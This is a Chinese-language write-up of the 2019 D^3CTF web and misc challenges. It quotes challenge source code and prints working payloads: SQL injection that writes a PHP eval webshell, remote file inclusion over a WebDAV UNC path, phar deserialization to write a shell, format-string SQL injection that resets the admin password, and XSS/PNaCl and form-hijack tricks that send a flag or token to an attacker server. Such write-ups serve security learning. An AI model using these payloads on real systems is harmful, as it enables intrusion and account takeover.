d3ctf 疯狂涨姿势,就很nice
wp https://github.com/wqmsybpw/wqmsybpw.github.io/blob/1401b571d975fec748a84a47691e468187a80ef8/_posts/2019-11-25-2019d3ctf-writeup.md
https://nikoeurus.github.io/2019/11/26/D%5E3ctf-Web/
https://www.anquanke.com/post/id/193939#h3-4
web ezweb
和username有关?
x 注册一个用户名为:*/echo 1231231231;/*
的用户
二次注入,User 的index方法调用get_view
利用替换{来绕过select 和 union的过滤,利用0x….来绕过{的过滤
最后的payload
注册一个用户名为aaa' unio{n selec}t 0x7B7B7068707D7D6576616C28245F504F53545B615D293B7B7B2F7068707D7D limit 1,1#
成功拿到shell权限
d3ctf{Th4at’s_A_Si11y_P0p_chi4n}
fakeonlinephp 报错
1 2 3 4 5 6 Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1 Warning: include(http://39.108.164.219:60005/1.txt): failed to open stream: no suitable wrapper could be found in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1 Warning: include(): Failed opening 'http://39.108.164.219:60005/1.txt' for inclusion (include_path='.;C:\Users\Public\Videos;\c:\php\includes;c:\php\pear;') in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1
虽然禁用了http协议,但是还是会发送请求
unc路径远程文件包含
一键启动一个webdav服务器
docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
然后把php文件放到/root/webdav/data里就行了
http://02f4483e31.fakeonelinephp.d3ctf.io/?orange=C:/Users/w1nd/AppData/Local/Temp/fffffffffuckccrf
eval($_COOKIE[‘a’]);
whois
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Domain Name: D3CTF.IO Registry Domain ID: D503300001132938421-LRMS Registrar WHOIS Server: whois.namesilo.com Registrar URL: http://www.namesilo.com Updated Date: 2019-10-14T20:31:26Z Creation Date: 2019-08-15T11:56:00Z Registry Expiry Date: 2020-08-15T11:56:00Z Registrar Registration Expiration Date: Registrar: Namesilo, LLC Registrar IANA ID: 1479 Registrar Abuse Contact Email: Registrar Abuse Contact Phone: +1.4805240066 Reseller: Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited Registrant Organization: See PrivacyGuardian.org Registrant State/Province: AZ Registrant Country: US Name Server: DNS21.HICHINA.COM Name Server: DNS22.HICHINA.COM DNSSEC: unsigned The Registrar of Record identified in this output may have an RDDS service that can be queried for additional information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
1 2 3 4 5 本站数据:香港特别行政区 腾讯云 参考数据1:香港 tencent.com 参考数据2:美国 兼容IPv6地址:::966D:4AEA 映射IPv6地址:::FFFF:966D:4AEA
whoami
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 whoami /all USER INFORMATION ---------------- User Name SID ================ ============================================ 172_19_97_4\w1nd S-1-5-21-330377560-317033357-2560255023-1001 GROUP INFORMATION ----------------- Group Name Type SID Attributes ====================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\REMOTE INTERACTIVE LOGON Well-known group S-1-5-14 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Mandatory Level Label S-1-16-8192
upload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 <?php class dir { public $userdir ; public $url ; public $filename ; public function __construct ($url ,$filename ) { $this ->userdir = "upload/" . md5($_SERVER ["HTTP_HOST" ]); $this ->url = $url ; $this ->filename = $filename ; if (!file_exists($this ->userdir)) { mkdir($this ->userdir, 0777 , true ); } } public function checkdir ( ) { if ($this ->userdir != "upload/" . md5($_SERVER ["HTTP_HOST" ])) { die ('hacker!!!' ); } } public function checkurl ( ) { $r = parse_url($this ->url); if (!isset ($r ['scheme' ]) || preg_match("/file|php/i" ,$r ['scheme' ])){ die ('hacker!!!' ); } } public function checkext ( ) { if (stristr($this ->filename,'..' )){ die ('hacker!!!' ); } if (stristr($this ->filename,'/' )){ die ('hacker!!!' ); } $ext = substr($this ->filename, strrpos($this ->filename, "." ) + 1 ); if (preg_match("/ph/i" , $ext )){ die ('hacker!!!' ); } } public function upload ( ) { $this ->checkdir(); $this ->checkurl(); $this ->checkext(); $content = file_get_contents($this ->url,NULL ,NULL ,0 ,2048 ); if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i" , $content )){ die ('hacker!!!' ); } file_put_contents($this ->userdir."/" .$this ->filename,$content ); } public function remove ( ) { $this ->checkdir(); $this ->checkext(); if (file_exists($this ->userdir."/" .$this ->filename)){ unlink($this ->userdir."/" .$this ->filename); } } public function count ($dir ) { if ($dir === '' ){ $num = count(scandir($this ->userdir)) - 2 ; } else { $num = count(scandir($dir )) - 2 ; } if ($num > 0 ) { return "you have $num files" ; } else { return "you don't have file" ; } } public function __toString ( ) { return implode(" " ,scandir(__DIR__ ."/" .$this ->userdir)); } public function __destruct ( ) { $string = "your file in : " .$this ->userdir; file_put_contents($this ->filename.".txt" , $string ); echo $string ; } } if (!isset ($_POST ['action' ]) || !isset ($_POST ['url' ]) || !isset ($_POST ['filename' ])){ highlight_file(__FILE__ ); die (); } $dir = new dir($_POST ['url' ],$_POST ['filename' ]);if ($_POST ['action' ] === "upload" ) { $dir ->upload(); } elseif ($_POST ['action' ] === "remove" ) { $dir ->remove(); } elseif ($_POST ['action' ] === "count" ) { if (!isset ($_POST ['dir' ])){ echo $dir ->count('' ); } else { echo $dir ->count($_POST ['dir' ]); } }
webroot in /var/www/html Notice:scanner is useless hint1: webroot changes every 10 mins hint2: glob hint3: https://www.php.net/manual/en/language.oop5.decon.php ** Pay attention to the notes in the article **
反序列化 upload处url可控,所以只要上传一个phar文件便可以反序列化
利用这个能做到:
扫目录__destruct__=>__toString__
任意位置写文件,但是因为上传phar文件时有过滤,所以文件内容也有所限制
但是
phar://phar.phar.gz/test.txt
将phar文件压缩后便可以绕过文件限制
于是我们就可以在任意位置写文件的权限了
于是我们有这样的思路:利用upload写一个htaccess,然后再利用反序列化写一个shell。
这里有个坑点就是,web主目录每隔10分钟变化一次,但是我们仍然可以利用反序列化来读取web目录
按照上述步骤成功拿到shell
输入phpinfo()发现,有disable_function里禁用了system等函数,这就不爽了。但是php版本是7.2,上传
https://github.com/mm0r1/exploits 这个老兄写的绕过disable_function的脚本,爽死了。
showhub 阅读代码发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public function register ($username , $password ) { $password = hash("sha256" , $password ); $user = (new User(null , $username , $password ))->save(); if ($user ) { $_SESSION ['uid' ] = $user ->id; return $user ; } return false ; } public function save ( ) { $args = get_object_vars($this ); $args = array_slice($args , 0 , -2 ); if ($args ['id' ] !== null ) { $baseSql = "UPDATE `$this ->tbname` SET %s WHERE id=" . $args ['id' ]; $sql = self ::prepareUpdate($baseSql , array_slice($args , 1 )); $this ->db->query($sql ); if (!$this ->db->conn->error) { return $this ; } else { return null ; } } else { $baseSql = "INSERT INTO `$this ->tbname`(%s) VALUE(%s)" ; $sql = self ::prepareInsert($baseSql , $args ); $this ->db->query($sql ); if (!$this ->db->conn->error) { $objectID = $this ->db->query("SELECT LAST_INSERT_ID()" )->fetch_row()[0 ]; return self ::findOne(array ("id" => $objectID )); } else { return null ; } } }
register调用的save方法存在格式化字符串漏洞可以绕过addslashes
构造user=admin%1$',0x60)#&pass=123
insert 的一个方法可以修改重复的值 insert on duplicate key update
,它能够让我们在新插入的一个数据和原有数据发生重复时,修改原有数据。那么我们通过这个技巧修改管理员的密码即可。
测试test用户,原密码:123
构造user=test%1$',0x60)on duplicate key update password=0x38643936396565663665636164336332396133613632393238306536383663663063336635643561383661666633636131323032306339323361646336633932#&pass=123
成功将密码修改为123456,冲admin密码
接着进入webconsole当中,提示只有内网才能使用
相关代码
1 2 3 4 5 if ($this ->request->user->username === "admin" && !filter_var( $_SERVER ['HTTP_CLIENT_IP' ], FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE ))
emmm直接修改cilent-ip发现不行
因为这里的Client-IP
头是反代层面设置的(set $Client-IP $remote_addr), 所以无法通过前端修改请求头来伪造。
这时可以从服务器返回的Server
头中发现,反代是ATS7.1.2
那么应该很敏感的想到通过HTTP走私
来绕过反代,规避反代设置Client-IP
。
那么什么是ast?
Apache Traffic Server™ is a high-performance web proxy cache that improves network efficiency and performance by caching frequently-accessed information at the edge of the network. This brings content physically closer to end users, while enabling faster delivery and reduced bandwidth use. Traffic Server is designed to improve content delivery for enterprises, Internet service providers (ISPs), backbone providers, and large intranets by maximizing existing and available bandwidth.
emmmm,ast是一个在用户和服务器之间的起缓冲加速的代理服务器,这也正是http走私常出现的应用场景
ATS7.1.2
有个cve恰好是关于http走私的,直接用就ok了
babyxss emmm,ctf的弥天大谎
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from flask import Flask, render_template_string, session, request, make_responseimport hashlibimport osimport jsonfrom rq import Queuefrom redis import Redisapp = Flask(__name__) app.config['SECRET_KEY' ] = 'somesecret' config = json.load(open ('config.json' , 'r' )) def verify_url (url ): base = 'https://' +request.host if len (url) == 0 : return False if len (url) < len (base) or url[:len (base)] != base: return False return True def verify_captcha (captcha ): return 'captcha' in session.keys() \ and len (session.get('captcha' )) == 5 \ and hashlib.md5(captcha.encode()).hexdigest()[:5 ] == session.get('captcha' ) def add_queue (url ): q = Queue(connection=Redis( host=config['redis' ]['host' ], password=config['redis' ]['auth' ] )) q.enqueue('bot.add' , url) @app.route('/' , methods=['GET' , 'POST' ] ) @app.route('/index.php' , methods=['GET' , 'POST' ] ) def index (): message = "" if request.method == 'POST' : try : if 'captcha' in request.form.keys() and 'url' in request.form.keys(): captcha = request.form['captcha' ] url = request.form['url' ] if not verify_captcha(captcha): message = "Wrong Captcha :(" elif not verify_url(url): message = "Wrong URL :(" else : session.pop('captcha' ) message = "Done! Please wait for the admin to check it out. XD" add_queue(url) except : message = "Error! Please contact admin" if 'captcha' not in request.form.keys() or 'captcha' not in session.keys(): session['captcha' ] = hashlib.md5(os.urandom(16 )).hexdigest()[:5 ] return render_template_string( index, message=message, host='https://' +request.host, captcha=session['captcha' ] ) @app.route('/fd.php' ) def mirror (): response = make_response(request.args.get('q' )) response.headers['Content-Security-Policy' ] = "img-src 'none'; script-src 'none'; frame-src 'none'; connect-src 'none'" return response @app.route('/admin.php' ) def admin (): if request.headers.get('x-forwarded-for' ) != config['redis' ]['host' ]: return 'only admin can see it' token = request.host.split('.' )[0 ] return f'''{{ "token": "{token} ", "flag": "d3ctf{{{hashlib.sha256(( token+config["challenge" ]["flag" ] ).encode()).hexdigest()} }}"}} '''
关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if request.method == 'POST' : try : if 'captcha' in request.form.keys() and 'url' in request.form.keys(): captcha = request.form['captcha' ] url = request.form['url' ] if not verify_captcha(captcha): message = "Wrong Captcha :(" elif not verify_url(url): message = "Wrong URL :(" else : session.pop('captcha' ) message = "Done! Please wait for the admin to check it out. XD" add_queue(url) except : message = "Error! Please contact admin"
1 2 3 4 5 6 7 8 9 def verify_url (url ): base = 'https://' +request.host if len (url) == 0 : return False if len (url) < len (base) or url[:len (base)] != base: return False return True
通过verify_url之后,admin便回访问.这里用'https://'+request.host
来验证是否来源于原网站
emmm,request.host=/fd.php
,就不用考虑修改host来绕过拉
那么就是要绕/fd.php
的csp策略了:img-src 'none'; script-src 'none'; frame-src 'none'; connect-src 'none'
真的是baby难度啊。。。。。
丢到csp-evaluator里头可以发现没有设置object-src object-src允许嵌入object 根据hint去chrome://components
里头找有什么可以利用的组件 最新版chrome已经默认禁止了flash的使用(然而就是有很多人不信邪) 通过一些搜索可以发现pNaCl可以跑C/C++
可以编写一个Leak去请求admin.php,获取flag,然后再将flag带出来 下载下来谷歌的SDK 和Leak后可以编译出一个nmf文件和一个pexe文件,放到自己的服务器上然后尝试:
1 ><embed src ="http://server_url/url_loader.nmf" type ="application/x-pnacl" >
轻松获得了一个Mixed Content呢((毒瘤出题人 上https以后发现:
1 >PNaCl modules can only be used on the open web (non-app/extension) when the PNaCl Origin Trial is enabled
搜索Origin Trial,看新闻:
https://developer.chrome.com/native-client/migration https://github.com/GoogleChrome/OriginTrials/blob/gh-pages/developer-guide.md
去Origin Trial 申请一个token,最终的payload:
1 2 ><meta http-equiv="origin-trial" content="[token]"> ><embed src="https://server_url/url_loader.nmf" type="application/x-pnacl">
guestbook 自己搭的环境毛病一大堆///就直接看别人wp了
题目是一个在线留言板,注册登录后可以提交留言。
简单测试后会发现留言可以插入 HTML 标签,但是后端使用了标签名/属性名白名单做过滤,一般的危险标签和属性都被 ban 掉了。
控制台可以看到打包前的前端源码,审计一波。
第一个问题,CSRF token 是直接使用的 sessionid :
因此如果我们能获得他人的 token 就可以登录他人账号。
第二个问题,我们传入的参数 this.$route.query.did 被拼接到了 jsonp 方法的 url 当中
因此我们可以设置 did 为 1/delete?callback=alert#
,控制 jsonp 的 callback ,在 jsonp 方法中会直接执行:
但是后端的 jsonp api 给 callback 做了校验,只能传入有限的字符,并不能任意执行 js 代码。
所以我们需要把这两个问题结合利用一下,利用这个受限的 jsonp xss 来劫持 token 。
我们可以看到 token 被渲染到了 id 为 messageForm 的 form 中,所以我们可以尝试劫持这个 form ,让他的 submit 后提交到我们的服务器,从而获取 token 。
如何劫持呢?利用两个 HTML5 的有趣属性:
https://www.w3school.com.cn/tags/att_input_formaction.asp
https://www.w3school.com.cn/tags/att_input_form.asp
我们可以利用留言功能插入一个在表单之外的 input 标签,再利用这两个属性来劫持表单:
利用 jsonp xss 来点击它:
1 http://localhost:8180/#/?pid=72&did=23%2Fdelete%3Fcallback%3Dfish.click%23
token 就到手了:
report 这条 payload ,获得 admin 的 token 之后登录 admin 账号,在 admin 的留言中获得 flag 。
misc c+c readme.txt
This is a lite (which means there is no voice but the script is complete.) version of a great galgame (a.k.a. Visual Novel) written by Romeo Tanaka. Hope you enjoy it. PS: I did some small hack to the game for cracking. But you still need steam running to play this game. PSS: If you like it, you can buy it on steam. PSSS: Do not forget to find the flag. And the flag is just in THIS file.
游戏中会出现
一些不可见字符8个以上,可能是flag?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 function L0_0 () local L0_32, L1_33, L2_34, L3_35 L0_32 = { L1_33, L2_34, L3_35, 172 , 21 , 149 , 198 , 139 , 38 , 63 , 174 , 238 , 232 , 20 , 85 , 107 } L1_33 = 221 L2_34 = 179 L3_35 = 102 L1_33 = 166 L2_34 = 44 L3_35 = "{" for _FORV_7_ = 1 , #L0_32 do L3_35 = L3_35 .. string .format ("%02x" , L0_32[_FORV_7_] ~ L1_33) if _FORV_7_ == 4 or _FORV_7_ == 6 or _FORV_7_ == 8 or _FORV_7_ == 10 then L3_35 = L3_35 .. "-" end end L3_35 = L3_35 .. "}" return "" , "" , string .upper (L3_35), L2_34 end
su直接去买了原版游戏,对比发现只有dll,exe文件不同
阵亡